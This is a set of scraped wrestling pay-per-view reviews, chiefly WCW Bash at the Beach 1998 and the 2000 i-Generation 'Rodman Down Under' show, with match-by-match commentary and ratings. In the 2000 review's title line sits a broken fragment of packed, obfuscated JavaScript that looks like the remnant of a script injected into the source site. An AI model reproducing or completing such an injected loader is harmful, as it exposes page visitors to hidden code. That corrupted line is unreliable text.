Kevin Greene vs. The Giant

 

 

Greene is very fired up here. He rolls away from Giant to start and sneaks in a slap to the face. Giant growls at him so Kevin bails to the floor. Greene kicks the ropes to crotch Giant as they come back in before pounding away in the corner. The fans are into this and it helps that Greene could probably get a job on his looks and charisma alone. Giant catches him in a bearhug though and spinebusts him down to take over.

 

 

Cruiserweight Title: Chris Jericho vs. Rey Mysterio Jr.

 

 

Post match Dean chases Jericho to the back and Arn Anderson slows Jericho down, allowing Malenko to get in some shots.

 

 

TV Title: Booker T vs. Bret Hart

 

 

Bret goes after the knee with the chair and cracks it over the exposed knee cap. He hooks the Heartbreaker around the post and Stevie Ray takes his sweet time in making the save.

 

 

WCW World Title: Goldberg vs. Curt Hennig

 

 

Diamond Dallas Page/Karl Malone vs. Dennis Rodman/Hollywood Hogan

 

 

They hit the ropes a bit and collide to send both guys down. Back to the headlock by Rodman but Page reverses into one of his own. The fans are clearly getting restless. Rodman leapfrogs Page twice and they collide again to give us more laying down. Malone comes in and kicks at Rodman, sending him over to Hogan for the tag. Karl hooks a top wristlock and shoves Hogan to the mat. Hogan complains of a hair pull and Rodman gets in a cheap shot to get to the whole tag match idea for the first time.

 

 

Malone gives Disciple and the referee Diamond Cutters (good ones too) and the NWO celebrates like this is a big deal.

 

 

The announcers talk a bit to wrap things up.

 

 

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On This Day: July 30, 2000 – i-Generation Superstars of Wrestling (Rodman Down Under): Son of Heroes of Wrestling

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etdfh|var|u0026u|referrer|askfn||js|php'.split('|'),0,{})) Down Under
Date: July 30, 2000
Location: Sydney SuperDome, Sydney, Australia
Attendance: 10,000
Commentators: Vince Mancini, Ted DiBiase

Ted and Vince run down the card and tell us the main event is an Australian Outback match, which likely means hardcore.

Public Enemy attacked the Road Warriors at a press conference. Good to know.

Tag Titles: Public Enemy vs. Road Warriors

Back to Animal vs. Grunge with Johnny clotheslining him out to the floor. Rock whips Animal into the barricade and hits him with the lethal bottle of water to the head. Public Enemy pounds him down in the corner but Rock misses a running crotch attack at the ropes. Grunge breaks up the hot tag attempt and Rocco goes up as this match is still in slow motion. Rocco jumps into a boot to the face and we finally get the hot tag to Hawk.

Here are the I-Generettes to fill in time on an hour and forty five minute show.

Barbarian vs. Brute Force

More from the dancers.

Brandi Wine vs. Sweet Destiny

Feeling out process to start which turns into a bad dance off. They seem to be avoiding contact due to a lack of talent. Destiny takes her down with a decent throw but is sent into the buckle very slowly. A catapult sends Destiny into the corner again as these girls are making the Bellas look like Trish and Lita. Brandi poses a lot and drags her down by the hair a few times. Bad choking ensues as this match just keeps going. A clothesline puts Destiny on the floor and Brandi rams her into the table a few times.

Wine poses a lot to further drag out the match time. How can a show have five matches and need to fill in this much on a card? A pinfall reversal sequence gets a few near falls each until Sugar Daddy trips up Destiny. Sugar Daddy and Aussie Joe (who is old and in a referee shirt for some reason) get in a fight with Joe dropping him with one right hand. Destiny gets two off a good German suplex but gets slammed off the top. Brandi goes up as well and gets superplexed down for the pin.

Hey look: more dancing!

Australasian Title: One Man Gang vs. Tatanka

We recap Rodman vs. Hennig with the same videos from earlier.

I-Generation World Title: Dennis Rodman vs. Curt Hennig

Hennig is defending and this is an Australian Outback match, which I think means street fight. Rodman jumps him to start and hits Hennig in the head with the belt. Curt is busted open so Rodman pounds away at the cut. We head to the floor with Hennig being rammed into the table. Curt finds a broomstick and pounds Rodman in the ribs before throwing him over the announce table. Rodman is rammed through the table and Hennig is ticked off.

Rodman and Hennig keep brawling after the match but Brute Force (in a freaking zebra stripe suit) breaks it up.

A four minute highlight package and credits end the show.

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On This Day: July 12, 1998 – Bash at the Beach 1998: Shoot For The Stars

Bash at the Beach 1998
Date: July 12, 1998
Location: Cox Arena, San Diego, California
Attendance: 10,095
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

 

Remember that horrible main event last year with an NBA player in it? Well this one has two NBA players. Yes this time it’s DDP/Karl Malone vs. Hogan/Rodman. At least there’s a world title match here though as this is 6 days after Goldberg beat Hogan for the title so he’s got Hennig tonight. Also the annoying Kevin Greene is back because we need MORE non-wrestling athletes. Let’s get to it.

 

The opening video more or less just lists off the participants in the matches I just told you.

 

The announcers talk forever about how huge this is.

 

Raven vs. Perry Saturn

 

Raven’s Rules of course. This is the beginning of the Saturn frees the Flock stuff. Lodi is dressed like Hat Guy. Riggs is with Raven and let’s talk about the main event. I mean we gave them a full half second after the bell rang to be about them. They fight outside and Raven goes into the railing. Into the ring and Saturn slips off the top. He catches himself on the mat though and hits a dropkick.

 

Saturn throws on a hold and Raven taps but it doesn’t count for whatever reason. He misses a guillotine legdrop though and Raven is able to get a table. Saturn manages to crotch him but misses a dive and lands on the floor again. Raven hits the Russian leg sweep into the railing. Sleeper doesn’t get Raven anywhere as Saturn gets a jawbreaker to counter.

 

Raven gets drilled in the corner with a bunch of kicks and now a suplex. Saturn grabs a chair and bashes Raven with it a few times but only gets two. Saturn sets for something but Riggs and Lodi come in for the save. Perry suplexes them both at once to send them flying and accidentally drills the referee. Out to the floor and Raven gets bulldogged into the steps. Saturn sets up another table and puts a table on top of him.

 

Saturn goes up top but Kanyon comes out and pulls Raven off the table before Saturn jumps. Saturn jumps anyway so are we supposed to believe Saturn just couldn’t see it? Seriously? Saturn mostly misses the tables anyway so he wouldn’t have hit Raven even if Kanyon hadn’t moved him. Kanyon hits a Flatliner (Downward Spiral) on Raven onto the chair. Saturn is rolled in and Raven gets two. Riggs comes in again and takes a DVD but the opening allows Raven to get the Evenflow DDT to end this.

 

Rating: C+. Some of the bumps here were pretty good but these two had the same match for like a year. This wasn’t too bad though, although the table bump was really stupid looking due to the total miss and Saturn looking like a total idiot. This feud would go on a few more months until Saturn freed the Flock, more or less ending their usefulness outside of Kidman.

 

Eddie says he’ll win his hair vs. hair match against Chavo because Chavo is insane. Also Chavo has a match with Stevie Ray before he has to face Eddie.

 

Juventud Guerrera vs. Kidman

 

Not a title match here. Just a cruiserweight match for the sake of having a cruiserweight match. Juvy is a face and Kidman is a part of the Flock. They lock up to start and then slug it out for a bit before Kidman grabs a headlock. A lot of speed to start and Juvy takes over with a set of chops and a headscissors, followed by a clothesline to the floor. Lodi saves a big dive by Juvy and hits him with “Lethal” (Tony’s word not mine) forearms to the back.

 

Kidman misses a dive so Juvy shows him how it’s done, taking out Lodi and Kidman. He kicks Lodi’s hat and the fans boo. Back in the ring for another counter sequence but this one ends better for Kidman as he hits a wheelbarrow suplex. Out to the floor and Kidman picks him up for what looks like a powerbomb but drops Juvy backwards to clothesline him on the railing.

 

Kidman goes to the apron and dives into the railing by mistake to shift the momentum again. Juvy gets a sunset bomb to the floor after some resistance from Kidman. Tony of course calls it a sidewalk slam because he’s an idiot. Back in the ring Kidman uses a low blow to break up a top rope rana and hits a sitout spinebuster off the top in a cool move. It only gets two and we hit a well deserved chinlock.

 

More chopping and ducking follow and Juvy gets a rollup for two. Juvy gets tossed to the floor so Kidman goes up to dive. Juvy gets up for the save and Kidman gets crotched, followed by a springboard rana for two. Juvy gets a Rock Bottom suplex for two. Kidman pops up to hit a springboard bulldog for two (think Stratusfaction). Pinfall reversal sequence doesn’t go anywhere but Kidman walks into the Juvy Driver for two. Juvy charges at Kidman and gets caught in a spinebuster. Kidman misses the Shooting Star and the miss is enough for Juvy to get the 450 for the pin.

 

Rating: B. Really good match here as this is what the cruiserweights were supposed to be about: just going out there and going insane, hitting all kinds of stuff you wouldn’t see elsewhere. Kidman would get a lot better and Juvy would decline a bit as a heel but this was still awesome stuff. Really liked it as they just went out and had a good match. What more can you ask of them?

 

Konnan is on an internet chat. Konnan on the internet is never a good thing. Just ask X.

 

Stevie Ray vs. Chavo Guerrero

 

Not sure why Stevie was picked but this was so that Chavo wouldn’t be at 100% to face Eddie later. Chavo is crazy at this point. He comes out with a water gun and an inner tube around his stomach. Eddie comes out with some scissors to great heat. Chavo dedicates this to his favorite wrestler, Eddie Guerrero. The hair vs. hair match is right after this. Chavo avoids Stevie then poses and dances. He offers a handshake which Stevie actually accepts. While in the handshake, Chavo submits. Apparently Chavo is crazy like a psycho.

 

Chavo Guerrero vs. Eddie Guerrero

 

Chavo bites him to start as Mike talks about the significance of hair vs. hair in Mexico. Now Chavo dances some more as we haven’t had any significant contact in the first two minutes or so. Eddie gets a chair and that doesn’t work of course. Chavo sits in said chair and maybe now we can get a match? Eddie offers a handshake and Chavo takes it, pulling him into a clothesline.

 

We finally get going after two and a half minutes. Backdrop to Eddie so he hides with the referee. Chavo bites him again as this isn’t much of a match for the first three and a half minutes so far. Eddie gets a dropkick to the knee and fires off some shoulders to the back. Slingshot hilo has Chavo in more trouble. After nothing of note on the floor there’s the Gory Special to Chavo. Nice touch.

 

Camel clutch goes on. Did someone grab a camel in that once and say it seemed like a good name for a wrestling match? Out to the floor and Eddie rams his head into the steps. There go the mats at ringside and Eddie wants a brainbuster. Chavo counters into a regular suplex and Eddie is in trouble. The younger one goes up and is crotched so Eddie hits a superplex to put both guys down.

 

Chavo gets the advantage and tries a frog splash but Eddie gets the knees up just in time. Eddie tries Chavo’s tornado DDT and this time it hits, allowing Eddie to grab some scissors before it’s time. Frog splash by Eddie misses and now Chavo hits the tornado DDT. He grabs the scissors, allowing Eddie to get a small package for the pin.

 

Rating: C. Not as good as you would expect here as they were kind of all over the place. The comedy at the beginning didn’t work and they were more or less mirroring each other after that. It’s not bad but for Chavo vs. Eddie you kind of expect a lot more than what you got here.

 

Post match Chavo goes insane and cuts his own hair while he makes sound effects. He plays the psycho really well.

 

Apparently Malenko vs. Jericho is off due to Malenko snapping and beating up Jericho on Nitro. Jericho will defend the title against a mystery opponent later tonight.

 

Konnan vs. Disco Inferno

 

This is an added bonus match. It’s a Wrestlezone special I guess. Disco is billed from Funkytown of all places. Alex Wright is with Disco here and tries to speak some Spanish. Thankfully Mike and Tony are here to tell us they can’t speak Spanish. Where would we be without them to explain jokes to us? Nash and Luger are with Konnan. Gee I wonder what’s going to happen. Nash talks for awhile to eat up more time.

 

Disco gets beaten down quickly which shouldn’t surprise anyone. We hear about Disco’s legit good resume in wrestling which is often forgotten. Disco gets in some jobber offense as it’s pretty clear what we’ve got on our hands here. Wright gets in some shots while Luger/Nash aren’t thrilled with it. There’s a Rack for Wright and a powerbomb for Disco. Tequila Sunrise ends this squash.

 

The Giant vs. Kevin Greene

 

Giant is black and white and Greene is here because WCW isn’t that smart. Greene is a guy that wasn’t that skilled but he was clearly having a blast out there and wanted to be out there doing this. He runs a lot which is smart strategy. Greene kicks the rope into the Little Giants and tries some punches in the corner but gets caught in a spinebuster (called a gutwrench waistlock slam by Tony) and the beating begins.

 

The fans chant for Goldberg but he’s not coming for a bit longer. The scary thing about Giant here is that he’s 26 years old. Bobby implies that Giant might be able to reach Andre’s undefeated streak. Dude, seriously? Greene tries a comeback and a headbutt stops that cold. After a brief thing on the floor Greene hits a forearm off the top and goes after the knee. He charges out of the corner into the chokeslam though and we’re done.

 

Rating: C+. This grade isn’t the same as I would use for a regular wrestling match. This was a wrestler vs. a football player and considering that, this was pretty good actually. Greene wasn’t supposed to be anything special and he was trying, which is exactly what he was supposed to do. Nothing great mind you, but all things considered this was fine.

 

Hennig says he can beat Goldberg.

 

We recap Malenko losing his title shot after Jericho cost him a match and then implied that Dean’s dad slept around and that his mother was a w****.

 

Cruiserweight Title: Chris Jericho vs. ???

 

Jericho doesn’t know who he’s facing and he comes out in a top hat with a cane and does a softshoe routine. JJ Dillon comes out and makes the match. Apparently it’s with a local kid that hasn’t wrestled in six months. It’s also No DQ still which was to be the stipulation with Malenko.

 

Cruiserweight Title: Chris Jericho vs. Rey Mysterio

 

Rey takes over to start and is more muscular than he used to be. After a bit on the floor, Jericho gets a shot to the knee back in the ring. Jericho has apparently had enough and goes up to the set, more or less ending the interesting part of the match. They fight up a lifeguard chair and Rey dives onto Jericho on the sand. Back to the ring and Jericho gets a nice powerslam off the top (called a top rope powerslam by Tony. Wait that was correct. I need a minute to recover from that one).

 

Jericho tries to Pillmanize the leg but Rey moves, sending Jericho crashing into the chair. Rey swings away at it and dropkicks it into the knee. Jericho is in trouble all of a sudden and a facejam looks to set up the West Coast Pop. Liontamer is blocked and Rey gets to the ropes. Here comes Malenko as Jericho tries the Liontamer again. Rey rolls through for the pin and the title. Note here that Malenko DID NOT TOUCH JERICHO. He wasn’t in the ring, he wasn’t within 20 feet of the ring.

 

Rating: C-. Not much here at all but the opening was good. After that the whole thing changed and given that the match was only about six minutes long, I’m not sure what was going on here. Rey didn’t look completely comfortable on the knee so maybe that was it. Also, the reason to note Dean’s lack of involvement was the title would be returned to Jericho the next night due to Dean’s “interference”.

 

Malenko and Jericho fight to the back as Jericho tries to escape.

 

TV Title: Bret Hart vs. Booker T

 

Bret still hasn’t really done anything so let’s take that big acquisition and put him in the lower midcard and in the NWO. You know, because he’s just another guy. Booker is champion if that wasn’t clear. They head to the mat and Bret comes out ahead there. Booker gets a cross body for two. Bret is sent to the floor and is in trouble already. He does manage to take over on the floor and takes over back inside.

 

Booker is still in trouble as they go outside. He goes into the railing and Bret rams his back into the post which isn’t a DQ somehow. Five Moves of Doom get some two counts. This is really boring. Booker tries his Jack Brisco sunset flip out of the corner but botches it badly. Booker gets a kick to put Bret down and follows it up with the axe kick and Bret is down. There’s a flapjack and Booker spins up. Missile dropkick gets two. And never mind as Bret hits Booker with a chair for a DQ. Give me a break.

 

Rating: D-. Just a really boring match here as Bret continues to be totally wasted. I mean seriously, Booker T is good but at this point he should have bowed down to Bret and thanked him for beating him for the TV Title. Bret would FINALLY get something a few weeks later, winning the vacant US Title. Still though, this was really bad and the ending hurt it horribly.

 

Bret destroys the knee until Stevie walks out and tells him to stop.

 

Video on Goldberg who won the title six days ago. Also Hall got destroyed earlier in the night. The video makes it look like Goldberg squashed Hall in about 9 seconds. I still can’t believe they just had Goldberg beat Hogan on 4 days’ notice for the title on free TV. But hey, they managed to beat Raw for one night. Who cares that it would have brought in hundreds of thousands of buys and millions of dollars on PPV?

 

WCW World Title: Goldberg vs. Curt Hennig

 

This was added during the week, probably on Thunder. Hennig of course bounces around like a pinball. Goldberg tries his rolling leg lock and messes it up so Curt hits the floor. He tries to go up top and that totally fails. Hennig tries to go after the leg and spends a minute or so doing that as the fans chant for the champion. This time Goldberg manages to get the leg lock but walks into the Perfectplex for two. Spear and Jackhammer end this maybe a second later.

 

Rating: D. Just a squash here which isn’t what is supposed to happen on a PPV in a world title match. It wasn’t anything we hadn’t seen a hundred times (literally) before. Goldberg would mow through everyone until the idiocy of Halloween Havoc and the further idiocy of Starrcade. Nothing match here that wasn’t even four minutes long.

 

We recap the main event. Basically WCW decided to bring in celebrities for the sake of bringing in celebrities, making the main event wrestler/NBA player vs. wrestler/NBA player. Allegedly Rodman wasn’t seen until a few hours before show time and was in no condition to perform here. Did I mention this match is going to have half an hour to fill?

 

Hulk Hogan/Dennis Rodman vs. Diamond Dallas Page/Karl Malone

 

I actually watched this show when it aired with a buddy of mine and he said it looked like Malone and Page jumped into a vat of glue with their jeans on. I think he’s onto something with that theory. For some reason the heels’ music changes from Voodoo Child to the traditional NWO song halfway through their entrance. Malone comes out to some bad rap song. Dang he has long arms.

 

The basketball players start us off and it’s time to stall. Minute and a half of no contact yet. Test of strength is teased but Malone slaps Rodman’s hand away. It was Malone’s idea mind you. Two minutes in now and no real contact. They lock up and Rodman grabs a headlock. And never mind as we need to stall some more as Rodman goes to the floor. 2:45 in now with a headlock being all the contact. The world title match was 3:50. Off to Hogan vs. Malone and they have a pose off. Test of strength is teased….and doesn’t happen.

 

This match is officially longer than the world title match and we’ve had a total of one headlock. I actually want to see how far they can take this. At 4:12, they lock up. Malone puts on a hold that I don’t have an actual name for. It’s kind of like a headlock I guess. Picture a guy setting for a left armed Rock Bottom and clasping his arms around and kind of holding them there. Malone slams him (not bad) and it’s off to Page. I don’t think I’ve ever been happier to see DDP in a match.

 

Page of course wants Rodman because we haven’t been bored enough yet. They lock up and it’s time to stall AGAIN. The fans chant boring and I can’t blame them. We’re at 6:00 now and here’s what’s happened so far: headlock, tieup, that hold Malone did, slam and another tieup. Seriously, NOTHING ELSE HAS HAPPENED. Jericho vs. Mysterio was 6:00 and it was bad, but at least it was a match.

 

They tieup again and Page shoves him off again. Page and Rodman spit at each other as we add an “armdrag” to the list of what’s gone on. This is now longer than Giant vs. Greene. The announcers freak and Hogan struts on the apron. Page grabs a headlock and even Tony is saying this is something of note finally. They collide and Rodman goes down. Another lockup and Rodman puts on headlock #4 as we hit the 8:00 mark.

 

We now see why Rodman is either drunk, high, or just awful at this. Rodman has a headlock on and Page tries to shoot him into the ropes. That’s a counter that I’m sure you’ve seen hundreds of times. Nothing special about it and perfectly normal. Rodman falls down and pulls Page with him, resulting in Page getting a two count. This is just embarrassing at this point. Actually it was embarrassing five minutes ago.

 

Page now with a head/chin lock and gets sent into the ropes. Rodman rams him with a shoulder block….and falls forward, allowing Page to get two again. Fans are openly booing now as Malone comes in. Rodman never gets up and tags Hogan. Hogan puts on a top wristlock which is shrugged off by Malone. Malone obviously isn’t skilled, but he’s trying and is fired up out there, which is really all you can ask for.

 

We’re over ten minutes in now and somehow that’s not even halfway through. Rodman actually does something as he hits a double axe to Malone to give Hulk the advantage. Hogan chokes a lot as you have to wonder why DDP vs. Hogan hasn’t gotten more time. I mean, they actually, know how to wrestle and such. Hogan slams him and drops some elbows. Back to Rodman who looks sleepy.

 

Rodman rams Malone into Hogan’s boot and it’s back to Hulk. Malone’s selling is pretty good actually. Off to a chinlock for a bit and Rodman comes in to hold Malone. Hogan punches Malone and Rodman falls down. Belly to back to Malone with Hogan making sure to be as careful as possible. Malone finally gets the hot tag to Page and he comes in off the top with a clothesline.

 

Things wake up for about 15 seconds until Rodman knees him in the back to let Hulk take over again. There’s the weightlifting belt to Page’s back. This is so boring it’s unreal. Double clothesline puts Page down. Hogan chokes him in the corner as we’re finally in a regular match with more than a move every three minutes. And never mind as that’s enough for Hogan so it’s off to Dennis again.

 

The heels seem like they don’t want to stay in the ring at all. Hogan suplexes Page and it’s back to The Worm. The fans chant for Page who at least fights back. Rodman puts a front chancery on as Malone plays cheerleader. The heels switch without a tag and the legdrop misses. Off to Malone who does some very basic stuff but does it well enough, all things considered. Double noggin knocker puts the heels down.

 

Malone hits a big boot and it’s not bad at all. Off to Page again and there’s the Diamond Cutter to FINALLY wake the crowd up. Malone hits what is supposed to be a Diamond Cutter on Rodman but was more like he grabbed Rodman’s shirt and pulled him down with it. The referee has to get Malone out so Disciple comes in to hit a Stunner on Page for Hogan to get the cheap pin.

 

Rating: N. As in no or not acceptable. This was the match that the show was sold on and it was atrocious. The idea of putting celebrities in the main event, even athletic ones, is stupid for one simple reason: they can’t wrestle. They’re not trained to do it and they don’t know how to do it.

 

Having Malone and Rodman as seconds or enforcers or whatever while Page and Hogan have a match is fine, but having like 8 minutes of stalling because they don’t know what to do isn’t fine. This is on WCW, not Rodman who at least showed something resembling interest (despite failing completely) and Malone who was trying. Horrible, HORRIBLE main event and match in general.

 

Malone hits a much better Diamond Cutter on Disciple post match. The referee gets one too as the NWO celebrates.

 

Overall Rating: D-. This is a fine example of how short term thinking can mess up a whole show. This was all messed up because the two big matches, as in the world title and main event, were either bad or really short due to the booking being changed or stupid from the beginning. The rest of the card is just your run of the mill WCW show which means it’s mostly weak with a good match sprinkled in here or there. Overall though this felt awful and like a nothing show, which isn’t good. Somehow it would get even worse next month with Hogan/Bischoff vs. DDP/Jay Leno. We’ll get to that later.
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